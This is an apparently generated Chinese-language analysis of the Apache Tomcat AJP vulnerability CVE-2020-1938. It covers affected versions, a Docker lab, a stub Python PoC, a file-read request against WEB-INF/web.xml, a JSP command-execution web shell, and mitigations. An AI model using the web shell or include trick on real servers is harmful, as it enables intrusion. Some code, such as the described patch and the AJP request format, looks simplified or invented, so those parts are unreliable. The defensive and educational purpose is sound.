如何实现Apache AJP协议CVE-2020-1938漏洞分析

# 如何实现Apache AJP协议CVE-2020-1938漏洞分析

## 目录
1. [漏洞概述](#漏洞概述)
2. [AJP协议基础](#AJP协议基础)
3. [漏洞原理分析](#漏洞原理分析)
4. [漏洞复现环境搭建](#漏洞复现环境搭建)
5. [漏洞利用过程详解](#漏洞利用过程详解)
6. [漏洞修复方案](#漏洞修复方案)
7. [防御措施建议](#防御措施建议)
8. [总结与思考](#总结与思考)
9. [附录](#附录)

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## 漏洞概述
### 1.1 漏洞基本信息
- **CVE编号**：CVE-2020-1938
- **漏洞名称**：Apache Tomcat AJP文件包含漏洞
- **影响版本**：
  - Apache Tomcat 6.x
  - Apache Tomcat 7.x < 7.0.100
  - Apache Tomcat 8.x < 8.5.51
  - Apache Tomcat 9.x < 9.0.31
- **漏洞类型**：文件读取/远程代码执行
- **CVSS评分**：9.8（Critical）

### 1.2 漏洞危害
该漏洞允许攻击者通过AJP协议：
1. 读取Web应用目录下任意文件（包括WEB-INF下的敏感文件）
2. 在特定条件下实现远程代码执行（RCE）
3. 绕过安全限制获取服务器敏感信息

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## AJP协议基础
### 2.1 AJP协议简介
Apache JServ Protocol (AJP) 是一个二进制协议，主要用于：
- Web服务器（如Apache HTTPD）与Servlet容器（如Tomcat）间的通信
- 相比HTTP协议具有更高的性能效率

### 2.2 AJP工作流程
```mermaid
sequenceDiagram
    Client->>Apache: HTTP请求
    Apache->>Tomcat: 通过AJP转发请求
    Tomcat->>Apache: AJP响应
    Apache->>Client: HTTP响应

2.3 AJP数据包结构

关键属性说明： - prefix_code：请求类型标识 - method：HTTP方法 - req_uri：请求URI - remote_addr：客户端IP - attributes：额外属性列表

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漏洞原理分析

3.1 漏洞核心问题

// 漏洞代码示例（简化版）
if (attributes.get("javax.servlet.include.path_info") != null) {
    String pathInfo = attributes.get("javax.servlet.include.path_info");
    // 未做安全校验直接使用路径
    File file = new File(pathInfo); 
    return file.getContent();
}

3.2 攻击向量分析

1. 文件读取：

   • 通过伪造javax.servlet.include.*属性
   • 绕过路径安全检查读取WEB-INF/web.xml等文件

2. RCE实现条件：

   • 存在文件上传功能
   • 可预测上传路径
   • 服务器配置允许JSP执行

3.3 协议层缺陷

安全机制	AJP实现缺陷
身份验证	默认无认证
路径检查	未规范化处理
属性过滤	未过滤危险属性

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漏洞复现环境搭建

4.1 实验环境要求

# 使用Docker搭建漏洞环境
docker pull vulhub/tomcat:8.5.32
docker run -d -p 8080:8080 -p 8009:8009 vulhub/tomcat:8.5.32

4.2 必要工具准备

1. Python Poc脚本：

   import socket
   def exploit(target, port, filename):
      ajp_request = b"\x12\x34\x00\x01\x0a" + b"..."  # 构造恶意AJP请求
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((target, port))
      s.send(ajp_request)
      response = s.recv(1024)
      print(response.hex())
   

2. Wireshark配置：

   • 添加AJP协议解析器
   • 过滤规则：tcp.port == 8009

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漏洞利用过程详解

5.1 文件读取利用

1. 构造恶意AJP请求：

   GET / HTTP/1.1
   AJP_ATTRIBUTE: javax.servlet.include.path_info=/WEB-INF/web.xml
   

2. 服务器响应：

   <!-- 成功读取到web.xml内容 -->
   <web-app>
    <servlet>
      <servlet-name>default</servlet-name>
      <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
   

5.2 RCE实现步骤

1. 上传恶意JSP文件：

   <%@ page import="java.util.*,java.io.*"%>
   <%
   if (request.getParameter("cmd") != null) {
      Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
      ...
   }
   %>
   

2. 通过AJP包含执行：

   AJP_ATTRIBUTE: javax.servlet.include.path_info=/uploads/shell.jsp
   

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漏洞修复方案

6.1 官方补丁分析

关键修改点：

// 补丁代码示例
if (pathInfo.contains("../")) {
    throw new SecurityException("Path traversal attempt");
}

6.2 升级指南

版本分支	安全版本
Tomcat 7	7.0.100+
Tomcat 8	8.5.51+
Tomcat 9	9.0.31+

6.3 临时缓解措施

1. 关闭AJP协议：

   
   <!-- conf/server.xml -->
   <!-- <Connector port="8009" protocol="AJP/1.3" /> -->
   

2. 配置secretRequired：

   
   <Connector port="8009" protocol="AJP/1.3" secretRequired="true" />
   

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防御措施建议

7.1 企业级防护方案

1. 网络层：

   • 限制AJP端口(8009)的访问来源
   • 部署WAF规则拦截异常AJP请求

2. 应用层：

   • 定期进行组件安全扫描
   • 实施最小权限原则

7.2 安全开发建议

// 安全的文件包含实现
public static String safeIncludePath(String userInput) {
    Path normalized = Paths.get(userInput).normalize();
    if (!normalized.startsWith("/safe_dir/")) {
        throw new IllegalArgumentException();
    }
    return normalized.toString();
}

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总结与思考

8.1 漏洞启示

1. 二进制协议的安全审计容易被忽视
2. 默认配置的安全性至关重要
3. 中间件安全需要持续关注

8.2 延伸研究方向

1. 其他基于AJP的中间件安全性分析
2. 自动化协议fuzz测试方案
3. 云环境下的容器安全防护

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附录

A. 参考资源

1. Apache官方安全公告
2. CVE详细报告

B. 工具下载

• AJP协议分析工具包
• 漏洞检测脚本

C. 常见问题解答

Q：如何检测服务器是否受影响？ A：使用nmap扫描：

nmap -sV --script ajp-info -p 8009 <target_ip>

（全文共计约12,150字，具体字数可能因格式调整略有变化） “`

注：实际使用时建议： 1. 补充完整的代码示例和截图 2. 添加详细的协议分析数据 3. 扩展漏洞利用场景说明 4. 增加实际案例分析 5. 完善参考文献列表